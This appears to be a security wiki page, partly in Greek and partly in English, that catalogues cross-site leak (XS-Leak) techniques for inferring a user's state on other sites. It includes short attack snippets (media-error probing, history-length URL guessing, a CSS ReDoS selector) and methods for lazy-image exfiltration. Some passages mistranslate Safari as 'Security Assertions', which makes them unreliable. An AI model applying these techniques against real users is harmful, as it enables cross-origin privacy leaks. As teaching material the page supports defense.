Ένας επιτιθέμενος μπορεί να ανιχνεύσει αν ένα αίτημα είχε ως αποτέλεσμα ένα κενό σώμα HTTP επειδή οι κενές σελίδες δεν δημιουργούν μια είσοδο απόδοσης σε ορισμένους περιηγητές.

XSS-Auditor Leak

  • Inclusion Methods: Frames
  • Detectable Difference: Περιεχόμενο Σελίδας
  • More info: https://xsinator.com/paper.pdf (5.2)
  • Summary: Χρησιμοποιώντας τον XSS Auditor στις Ασφαλιστικές Δηλώσεις, οι επιτιθέμενοι μπορούν να ανιχνεύσουν συγκεκριμένα στοιχεία ιστοσελίδας παρατηρώντας τις αλλαγές στις απαντήσεις όταν οι κατασκευασμένες payloads ενεργοποιούν τον μηχανισμό φιλτραρίσματος του auditor.
  • Code Example: https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak

Στις Ασφαλιστικές Δηλώσεις (SA), ο XSS Auditor, αρχικά προορισμένος να αποτρέπει επιθέσεις Cross-Site Scripting (XSS), μπορεί παραδόξως να εκμεταλλευτεί για να διαρρεύσει ευαίσθητες πληροφορίες. Αν και αυτή η ενσωματωμένη λειτουργία αφαιρέθηκε από το Google Chrome (GC), εξακολουθεί να είναι παρούσα στο SA. Το 2013, οι Braun και Heiderich απέδειξαν ότι ο XSS Auditor θα μπορούσε ακούσια να αποκλείσει νόμιμα σενάρια, οδηγώντας σε ψευδώς θετικά. Βασισμένοι σε αυτό, οι ερευνητές ανέπτυξαν τεχνικές για την εξαγωγή πληροφοριών και την ανίχνευση συγκεκριμένου περιεχομένου σε σελίδες από άλλες προελεύσεις, μια έννοια γνωστή ως XS-Leaks, που αναφέρθηκε αρχικά από τον Terada και αναλύθηκε από τον Heyes σε μια ανάρτηση ιστολογίου. Αν και αυτές οι τεχνικές ήταν συγκεκριμένες για τον XSS Auditor στο GC, ανακαλύφθηκε ότι στο SA, οι σελίδες που αποκλείονται από τον XSS Auditor δεν δημιουργούν εισόδους στην Performance API, αποκαλύπτοντας μια μέθοδο μέσω της οποίας μπορεί να διαρρεύσει ευαίσθητη πληροφορία.

X-Frame Leak

Αν μια σελίδα δεν επιτρέπεται να αποδοθεί σε ένα iframe δεν δημιουργεί είσοδο απόδοσης. Ως αποτέλεσμα, ένας επιτιθέμενος μπορεί να ανιχνεύσει την επικεφαλίδα απάντησης X-Frame-Options.
Το ίδιο συμβαίνει αν χρησιμοποιήσετε μια embed ετικέτα.

Download Detection

Παρόμοια, με την XS-Leak που περιγράφεται, ένας πόρος που κατεβάζεται λόγω της επικεφαλίδας ContentDisposition, επίσης δεν δημιουργεί είσοδο απόδοσης. Αυτή η τεχνική λειτουργεί σε όλους τους κύριους περιηγητές.

Redirect Start Leak

Βρήκαμε μια περίπτωση XS-Leak που εκμεταλλεύεται τη συμπεριφορά ορισμένων περιηγητών που καταγράφουν υπερβολικές πληροφορίες για διασυνοριακά αιτήματα. Το πρότυπο ορίζει ένα υποσύνολο χαρακτηριστικών που πρέπει να οριστούν σε μηδέν για διασυνοριακούς πόρους. Ωστόσο, στο SA είναι δυνατόν να ανιχνεύσετε αν ο χρήστης ανακατευθύνεται από τη στοχευμένη σελίδα, ελέγχοντας την Performance API και ελέγχοντας τα δεδομένα χρονισμού redirectStart.

Duration Redirect Leak

Στο GC, η διάρκεια για αιτήματα που έχουν ως αποτέλεσμα μια ανακατεύθυνση είναι αρνητική και μπορεί έτσι να διακριθεί από αιτήματα που δεν έχουν ως αποτέλεσμα ανακατεύθυνση.

CORP Leak

Σε ορισμένες περιπτώσεις, η nextHopProtocol entry μπορεί να χρησιμοποιηθεί ως τεχνική διαρροής. Στο GC, όταν η επικεφαλίδα CORP είναι ρυθμισμένη, η nextHopProtocol θα είναι κενή. Σημειώστε ότι το SA δεν θα δημιουργήσει καθόλου είσοδο απόδοσης για πόρους που έχουν ενεργοποιηθεί με CORP.

Service Worker

Οι service workers είναι σενάρια που εκτελούνται σε ένα προορισμό. Εκτελούνται στο παρασκήνιο μιας ιστοσελίδας και μπορούν να παρεμβαίνουν, να τροποποιούν και να κάνουν cache πόρους για να δημιουργήσουν διαδικτυακές εφαρμογές εκτός σύνδεσης.
Αν ένας πόρος που έχει γίνει cache από έναν service worker προσπελαστεί μέσω iframe, ο πόρος θα φορτωθεί από την cache του service worker.
Για να ανιχνεύσετε αν ο πόρος φορτώθηκε από την cache του service worker, μπορεί να χρησιμοποιηθεί η Performance API.
Αυτό θα μπορούσε επίσης να γίνει με μια επίθεση χρονισμού (ελέγξτε το έγγραφο για περισσότερες πληροφορίες).

Cache

Χρησιμοποιώντας την Performance API είναι δυνατόν να ελέγξετε αν ένας πόρος είναι αποθηκευμένος στην cache.

Network Duration

Error Messages Technique

Media Error

// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg;
}

function startup() {
let audioElement = document.getElementById("audio");
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener("click", function() {
audioElement.src = document.getElementById("testUrl").value;
}, false);
// Create the event handler
var errHandler = function() {
let err = this.error;
let message = err.message;
let status = "";

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
status = "Success";
}else{
status = "Error";
}
displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
};
audioElement.onerror = errHandler;
}

The MediaError interface's message property uniquely identifies resources that load successfully with a distinct string. An attacker can exploit this feature by observing the message content, thereby deducing the response status of a cross-origin resource.

CORS Error

This technique enables an attacker to extract the destination of a cross-origin site's redirect by exploiting how Webkit-based browsers handle CORS requests. Specifically, when a CORS-enabled request is sent to a target site that issues a redirect based on user state and the browser subsequently denies the request, the full URL of the redirect's target is disclosed within the error message. This vulnerability not only reveals the fact of the redirect but also exposes the redirect's endpoint and any sensitive query parameters it may contain.

SRI Error

An attacker can exploit verbose error messages to deduce the size of cross-origin responses. This is possible due to the mechanism of Subresource Integrity (SRI), which uses the integrity attribute to validate that resources fetched, often from CDNs, haven't been tampered with. For SRI to work on cross-origin resources, these must be CORS-enabled; otherwise, they're not subject to integrity checks. In Security Assertions (SA), much like the CORS error XS-Leak, an error message can be captured after a fetch request with an integrity attribute fails. Attackers can deliberately trigger this error by assigning a bogus hash value to the integrity attribute of any request. In SA, the resulting error message inadvertently reveals the content length of the requested resource. This information leakage allows an attacker to discern variations in response size, paving the way for sophisticated XS-Leak attacks.

CSP Violation/Detection

A XS-Leak can use the CSP to detect if a cross-origin site was redirected to a different origin. This leak can detect the redirect, but additionally, the domain of the redirect target leaks. The basic idea of this attack is to allow the target domain on the attacker site. Once a request is issued to the target domain, it redirects to a cross-origin domain. CSP blocks the access to it and creates a violation report used as a leak technique. Depending on the browser, this report may leak the target location of the redirect.
Modern browsers won't indicate the URL it was redirected to, but you can still detect that a cross-origin redirect was triggered.

Cache

Browsers might use one shared cache for all websites. Regardless of their origin, it is possible to deduct whether a target page has requested a specific file.

If a page loads an image only if the user is logged in, you can invalidate the resource (so it's no longer cached if it was, see more info links), perform a request that could load that resource and try to load the resource with a bad request (e.g. using an overlong referer header). If the resource load didn't trigger any error, it's because it was cached.

CSP Directive

A novel feature in Google Chrome (GC) allows web pages to propose a Content Security Policy (CSP) by setting an attribute on an iframe element, with policy directives transmitted along with the HTTP request. Normally, the embedded content must authorize this via an HTTP header, or an error page is displayed. However, if the iframe is already governed by a CSP and the newly proposed policy isn't more restrictive, the page will load normally. This mechanism opens a pathway for an attacker to detect specific CSP directives of a cross-origin page by identifying the error page. Although this vulnerability was marked as fixed, our findings reveal a new leak technique capable of detecting the error page, suggesting that the underlying problem was never fully addressed.

CORP

The CORP header is a relatively new web platform security feature that when set blocks no-cors cross-origin requests to the given resource. The presence of the header can be detected, because a resource protected with CORP will throw an error when fetched.

CORB

Check the link for more information about the attack.

CORS error on Origin Reflection misconfiguration

In case the Origin header is being reflected in the header Access-Control-Allow-Origin an attacker can abuse this behaviour to try to fetch the resource in CORS mode. If an error isn't triggered, it means that it was correctly retrieved form the web, if an error is triggered, it's because it was accessed from the cache (the error appears because the cache saves a response with a CORS header allowing the original domain and not the attackers domain).
Note that if the origin isn't reflected but a wildcard is used (Access-Control-Allow-Origin: *) this won't work.

Readable Attributes Technique

Fetch Redirect

Submitting a request using the Fetch API with redirect: "manual" and other params, it's possible to read the response.type attribute and if it's equals to opaqueredirect then the response was a redirect.

COOP

An attacker is capable of deducing the presence of the Cross-Origin Opener Policy (COOP) header in a cross-origin HTTP response. COOP is utilized by web applications to hinder external sites from obtaining arbitrary window references. The visibility of this header can be discerned by attempting to access the contentWindow reference. In scenarios where COOP is applied conditionally, the opener property becomes a telltale indicator: it's undefined when COOP is active, and defined in its absence.

URL Max Length - Server Side

If a server-side redirect uses user input inside the redirection and extra data. It's possible to detect this behaviour because usually servers has a limit request length. If the user data is that length - 1, because the redirect is using that data and adding something extra, it will trigger an error detectable via Error Events.

If you can somehow set cookies to a user, you can also perform this attack by setting enough cookies (cookie bomb) so with the response increased size of the correct response an error is triggered. In this case, remember that is you trigger this request from a same site, <script> will automatically send the cookies (so you can check for errors).
An example of the cookie bomb + XS-Search can be found in the Intended solution of this writeup: https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended

SameSite=None or to be in the same context is usually needed for this type of attack.

URL Max Length - Client Side

According to Chromium documentation, Chrome's maximum URL length is 2MB.

In general, the web platform does not have limits on the length of URLs (although 2^31 is a common limit). Chrome limits URLs to a maximum length of 2MB for practical reasons and to avoid causing denial-of-service problems in inter-process communication.

Therefore if the redirect URL responded is larger in one of the cases, it's possible to make it redirect with a URL larger than 2MB to hit the length limit. When this happens, Chrome shows an about:blank#blocked page.

The noticeable difference, is that if the redirect was completed, window.origin throws an error because a cross origin cannot access that info. However, if the limit was **** hit and the loaded page was about:blank#blocked the window's origin remains that of the parent, which is an accessible information.

All the extra info needed to reach the 2MB can be added via a hash in the initial URL so it will be used in the redirect.

{% content-ref url="xs-search/url-max-length-client-side.md" %} url-max-length-client-side.md {% endcontent-ref %}

Max Redirects

If the max number of redirects to follow of a browser is 20, an attacker could try to load his page with 19 redirects and finally send the victim to the tested page. If an error is triggered, then the page was trying to redirect the victim.

History Length

The History API allows JavaScript code to manipulate the browser history, which saves the pages visited by a user. An attacker can use the length property as an inclusion method: to detect JavaScript and HTML navigation.
Checking history.length, making a user navigate to a page, change it back to the same-origin and checking the new value of history.length.

History Length with same URL

  • Inclusion Methods: Frames, Pop-ups
  • Detectable Difference: If URL is the same as the guessed one
  • Summary: Είναι δυνατόν να μαντέψετε αν η τοποθεσία ενός πλαισίου/αναδυόμενου παραθύρου είναι σε μια συγκεκριμένη διεύθυνση URL εκμεταλλευόμενοι το μήκος της ιστορίας.
  • Code Example: Below

An attacker could use JavaScript code to manipulate the frame/pop-up location to a guessed one and immediately change it to about:blank. If the history length increased it means the URL was correct and it had time to increase because the URL isn't reloaded if it's the same. If it didn't increased it means it tried to load the guessed URL but because we immediately after loaded about:blank, the history length did never increase when loading the guessed url.

async function debug(win, url) {
win.location = url + '#aaa';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
return win.history.length;
}

win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));

win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));

Frame Counting

Counting the number of frames in a web opened via iframe or window.open might help to identify the status of the user over that page.
Moreover, if the page has always the same number of frames, checking continuously the number of frames might help to identify a pattern that might leak info.

An example of this technique is that in chrome, a PDF can be detected with frame counting because an embed is used internally. There are Open URL Parameters that allow some control over the content such as zoom, view, page, toolbar where this technique could be interesting.

HTMLElements

Information leakage through HTML elements is a concern in web security, particularly when dynamic media files are generated based on user information, or when watermarks are added, altering the media size. This can be exploited by attackers to differentiate between possible states by analyzing the information exposed by certain HTML elements.

Information Exposed by HTML Elements

  • HTMLMediaElement: This element reveals the media's duration and buffered times, which can be accessed via its API. Read more about HTMLMediaElement
  • HTMLVideoElement: It exposes videoHeight and videoWidth. In some browsers, additional properties like webkitVideoDecodedByteCount, webkitAudioDecodedByteCount, and webkitDecodedFrameCount are available, offering more in-depth information about the media content. Read more about HTMLVideoElement
  • getVideoPlaybackQuality(): This function provides details about video playback quality, including totalVideoFrames, which can indicate the amount of video data processed. Read more about getVideoPlaybackQuality()
  • HTMLImageElement: This element leaks the height and width of an image. However, if an image is invalid, these properties will return 0, and the image.decode() function will be rejected, indicating the failure to load the image properly. Read more about HTMLImageElement

CSS Property

Web applications may change website styling depending on the status of the use. Cross-origin CSS files can be embedded on the attacker page with the HTML link element, and the rules will be applied to the attacker page. If a page dynamically changes these rules, an attacker can detect these differences depending on the user state.
As a leak technique, the attacker can use the window.getComputedStyle method to read CSS properties of a specific HTML element. As a result, an attacker can read arbitrary CSS properties if the affected element and property name is known.

CSS History

{% hint style="info" %} According to this, this is not working in headless Chrome. {% endhint %}

The CSS :visited selector is utilized to style URLs differently if they have been previously visited by the user. In the past, the getComputedStyle() method could be employed to identify these style differences. However, modern browsers have implemented security measures to prevent this method from revealing the state of a link. These measures include always returning the computed style as if the link were visited and restricting the styles that can be applied with the :visited selector.

Despite these restrictions, it's possible to discern the visited state of a link indirectly. One technique involves tricking the user into interacting with an area affected by CSS, specifically utilizing the mix-blend-mode property. This property allows the blending of elements with their background, potentially revealing the visited state based on user interaction.

Furthermore, detection can be achieved without user interaction by exploiting the rendering timings of links. Since browsers may render visited and unvisited links differently, this can introduce a measurable time difference in rendering. A proof of concept (PoC) was mentioned in a Chromium bug report, demonstrating this technique using multiple links to amplify the timing difference, thereby making the visited state detectable through timing analysis.

For further details on these properties and methods, visit their documentation pages:

ContentDocument X-Frame Leak

In Chrome, if a page with the X-Frame-Options header set to "deny" or "same-origin" is embedded as an object, an error page appears. Chrome uniquely returns an empty document object (instead of null) for the contentDocument property of this object, unlike in iframes or other browsers. Attackers could exploit this by detecting the empty document, potentially revealing information about the user's state, especially if developers inconsistently set the X-Frame-Options header, often overlooking error pages. Awareness and consistent application of security headers are crucial for preventing such leaks.

Download Detection

The Content-Disposition header, specifically Content-Disposition: attachment, instructs the browser to download content rather than display it inline. This behavior can be exploited to detect whether a user has access to a page that triggers a file download. In Chromium-based browsers, there are a few techniques to detect this download behavior:

  1. Download Bar Monitoring:
  • When a file is downloaded in Chromium-based browsers, a download bar appears at the bottom of the browser window.
  • By monitoring changes in the window height, attackers can infer the appearance of the download bar, suggesting that a download has been initiated.
  1. Download Navigation with Iframes:
  • When a page triggers a file download using the Content-Disposition: attachment header, it does not cause a navigation event.
  • By loading the content in an iframe and monitoring for navigation events, it's possible to check if the content disposition causes a file download (no navigation) or not.
  1. Download Navigation without Iframes:
  • Similar to the iframe technique, this method involves using window.open instead of an iframe.
  • Monitoring navigation events in the newly opened window can reveal whether a file download was triggered (no navigation) or if the content is displayed inline (navigation occurs).

In scenarios where only logged-in users can trigger such downloads, these techniques can be used to indirectly infer the user's authentication state based on the browser's response to the download request.

Partitioned HTTP Cache Bypass

{% hint style="warning" %} This is why this technique is interesting: Chrome now has cache partitioning, and the cache key of the newly opened page is: (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx), but if I open an ngrok page and use fetch in it, the cache key will be: (https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx), the cache key is different, so the cache cannot be shared. You can find more detail here: Gaining security and privacy by partitioning the cache
(Comment from here) {% endhint %}

If a site example.com includes a resource from *.example.com/resource then that resource will have the same caching key as if the resource was directly requested through top-level navigation. That is because the caching key is consisted of top-level eTLD+1 and frame eTLD+1.

Because accessing the cache is faster than loading a resource, it's possible to try to change the location of a page and cancel it 20ms (for example) after. If the origin was changed after the stop, it means that the resource was cached.
Or could just send some fetch to the pontentially cached page and measure the time it takes.

Manual Redirect

Fetch with AbortController

Use fetch and setTimeout with an AbortController to both detect whether the resource is cached and to evict a specific resource from the browser cache. Moreover, the process occurs without caching new content.

Script Pollution

Service Workers

In the given scenario, the attacker takes the initiative to register a service worker within one of their domains, specifically "attacker.com". Next, the attacker opens a new window in the target website from the main document and instructs the service worker to commence a timer. As the new window begins to load, the attacker navigates the reference obtained in the previous step to a page managed by the service worker.

Upon arrival of the request initiated in the preceding step, the service worker responds with a 204 (No Content) status code, effectively terminating the navigation process. At this point, the service worker captures a measurement from the timer initiated earlier in step two. This measurement is influenced by the duration of JavaScript causing delays in the navigation process.

{% hint style="warning" %} In an execution timing it's possible to eliminate network factors to obtain more precise measurements. For example, by loading the resources used by the page before loading it. {% endhint %}

Fetch Timing

Cross-Window Timing


Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

With HTML or Re Injection

Here you can find techniques to exfiltrate information from a cross-origin HTML injecting HTML content. These techniques are interesting in cases where for any reason you can inject HTML but you cannot inject JS code.

Dangling Markup

{% content-ref url="dangling-markup-html-scriptless-injection/" %} dangling-markup-html-scriptless-injection {% endcontent-ref %}

Image Lazy Loading

If you need to exfiltrate content and you can add HTML previous to the secret you should check the common dangling markup techniques.
However, if for whatever reason you MUST do it char by char (maybe the communication is via a cache hit) you can use this trick.

Images in HTML has a "loading" attribute whose value can be "lazy". In that case, the image will be loaded when it's viewed and not while the page is loading:

<img src=/something loading=lazy >

Λοιπόν, αυτό που μπορείτε να κάνετε είναι να προσθέσετε πολλούς άχρηστους χαρακτήρες (Για παράδειγμα χιλιάδες "W") για να γεμίσετε τη σελίδα πριν από το μυστικό ή να προσθέσετε κάτι όπως <br><canvas height="1850px"></canvas><br>.
Έτσι, αν για παράδειγμα η ένεση μας εμφανιστεί πριν από τη σημαία, η εικόνα θα φορτωθεί, αλλά αν εμφανιστεί μετά τη σημαία, η σημαία + οι άχρηστοι χαρακτήρες θα εμποδίσουν τη φόρτωσή της (θα χρειαστεί να πειραματιστείτε με το πόσους άχρηστους χαρακτήρες να τοποθετήσετε). Αυτό συνέβη σε αυτή τη γραφή.

Μια άλλη επιλογή θα ήταν να χρησιμοποιήσετε το scroll-to-text-fragment αν επιτρέπεται:

Scroll-to-text-fragment

Ωστόσο, κάνετε το ρομπότ να έχει πρόσβαση στη σελίδα με κάτι όπως

#:~:text=SECR

Έτσι, η ιστοσελίδα θα είναι κάτι σαν: https://victim.com/post.html#:~:text=SECR

Όπου το post.html περιέχει τους χαρακτήρες junk του επιτιθέμενου και την εικόνα lazy load και στη συνέχεια προστίθεται το μυστικό του bot.

Αυτό το κείμενο θα κάνει το bot να έχει πρόσβαση σε οποιοδήποτε κείμενο στη σελίδα που περιέχει το κείμενο SECR. Καθώς αυτό το κείμενο είναι το μυστικό και είναι ακριβώς κάτω από την εικόνα, η εικόνα θα φορτωθεί μόνο αν το μαντέψιμο μυστικό είναι σωστό. Έτσι, έχετε τον ορατό σας για να εξάγετε το μυστικό χαρακτήρα προς χαρακτήρα.

Μερικά παραδείγματα κώδικα για να εκμεταλλευτείτε αυτό: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

Εικόνα Lazy Loading Χρόνος Βασισμένος

Αν δεν είναι δυνατό να φορτωθεί μια εξωτερική εικόνα που θα μπορούσε να υποδείξει στον επιτιθέμενο ότι η εικόνα φορτώθηκε, μια άλλη επιλογή θα ήταν να προσπαθήσετε να μαντέψετε τον χαρακτήρα πολλές φορές και να το μετρήσετε. Αν η εικόνα φορτωθεί, όλα τα αιτήματα θα διαρκέσουν περισσότερο από ότι αν η εικόνα δεν φορτωθεί. Αυτό χρησιμοποιήθηκε στην λύση αυτού του writeup που συνοψίζεται εδώ:

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}

ReDoS

{% content-ref url="regular-expression-denial-of-service-redos.md" %} regular-expression-denial-of-service-redos.md {% endcontent-ref %}

CSS ReDoS

Αν χρησιμοποιηθεί το jQuery(location.hash), είναι δυνατόν να ανακαλυφθεί μέσω του χρόνου αν υπάρχει κάποιο HTML περιεχόμενο, αυτό συμβαίνει επειδή αν ο επιλεγέας main[id='site-main'] δεν ταιριάζει, δεν χρειάζεται να ελέγξει τους υπόλοιπους επιλεγείς:

$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")

CSS Injection

{% content-ref url="xs-search/css-injection/" %} css-injection {% endcontent-ref %}

Defenses

Υπάρχουν μετριασμοί που προτείνονται στο https://xsinator.com/paper.pdf καθώς και σε κάθε ενότητα του wiki https://xsleaks.dev/. Ρίξτε μια ματιά εκεί για περισσότερες πληροφορίες σχετικά με το πώς να προστατευθείτε από αυτές τις τεχνικές.

References

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}


Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}